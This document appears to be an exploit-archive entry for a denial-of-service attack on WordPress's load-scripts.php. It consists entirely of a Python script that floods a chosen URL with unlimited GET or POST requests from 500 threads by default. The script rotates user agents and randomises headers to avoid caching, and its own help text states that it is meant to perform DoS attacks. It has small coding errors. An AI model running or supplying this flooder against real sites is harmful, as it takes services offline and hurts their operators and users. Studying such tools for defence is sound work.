WordPress Core load-scripts.php Denial Of Service

`import requests  
import sys  
import threading  
import random  
import re  
import argparse  
  
host=''  
headers_useragents=[]  
request_counter=0  
printedMsgs = []  
  
def printMsg(msg):  
if msg not in printedMsgs:  
print "\n"+msg + " after %i requests" % request_counter  
printedMsgs.append(msg)  
  
def useragent_list():  
global headers_useragents  
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')  
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')  
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')  
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')  
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')  
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')  
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')  
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')  
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')  
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')  
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')  
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')  
return(headers_useragents)  
  
def randomString(size):  
out_str = ''  
for i in range(0, size):  
a = random.randint(65, 90)  
out_str += chr(a)  
return(out_str)  
  
def initHeaders():  
useragent_list()  
global headers_useragents, additionalHeaders  
headers = {  
'User-Agent': random.choice(headers_useragents),  
'Cache-Control': 'no-cache',  
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',  
'Referer': "http://www.google.com/?q=" + randomString(random.randint(5,10)),  
'Keep-Alive': random.randint(110,120),  
'Connection': 'keep-alive'  
}  
  
if additionalHeaders:  
for header in additionalHeaders:  
headers.update({header.split(":")[0]:header.split(":")[1]})  
return headers  
  
def handleStatusCodes(status_code):  
global request_counter  
sys.stdout.write("\rNumber of requests sent %i" % request_counter)  
sys.stdout.flush()  
if status_code == 429:  
printMsg("You have been throttled")  
if status_code == 500:  
printedMsg("Status code 500 received")  
  
def sendGET(url):  
global request_counter  
headers = initHeaders()  
try:  
request_counter+=1  
request = requests.get(url, headers=headers)  
handleStatusCodes(request.status_code)  
  
except e:  
pass  
  
def sendPOST(url, payload):  
global request_counter  
headers = initHeaders()  
try:  
request_counter+=1  
if payload:  
request = requests.post(url, data=payload, headers=headers)  
else:  
request = requests.post(url, headers=headers)  
handleStatusCodes(request.status_code)  
  
except e:  
pass  
  
class SendGETThread(threading.Thread):  
def run(self):  
try:  
while True:  
global url  
sendGET(url)  
except:  
pass  
  
class SendPOSTThread(threading.Thread):  
def run(self):  
try:  
while True:  
global url, payload  
sendPOST(url, payload)  
except:  
pass  
  
  
# TODO:  
# check if the site stop responding and alert  
  
def main(argv):  
parser = argparse.ArgumentParser(description='Sending unlimited amount of requests in order to perform DoS attacks. Written by Barak Tawily')  
parser.add_argument('-g', help='Specify GET request. Usage: -g \'<url>\'')  
parser.add_argument('-p', help='Specify POST request. Usage: -p \'<url>\'')  
parser.add_argument('-d', help='Specify data payload for POST request', default=None)  
parser.add_argument('-ah', help='Specify addtional header/s. Usage: -ah \'Content-type: application/json\' \'User-Agent: Doser\'', default=None, nargs='*')  
parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int)  
args = parser.parse_args()  
  
global url, payload, additionalHeaders  
additionalHeaders = args.ah  
payload = args.d  
  
if args.g:  
url = args.g  
for i in range(args.t):  
t = SendGETThread()  
t.start()  
  
if args.p:  
url = args.p  
for i in range(args.t):  
t = SendPOSTThread()  
t.start()  
  
if len(sys.argv)==1:  
parser.print_help()  
exit()  
  
if __name__ == "__main__":  
main(sys.argv[1:])  
  
  
`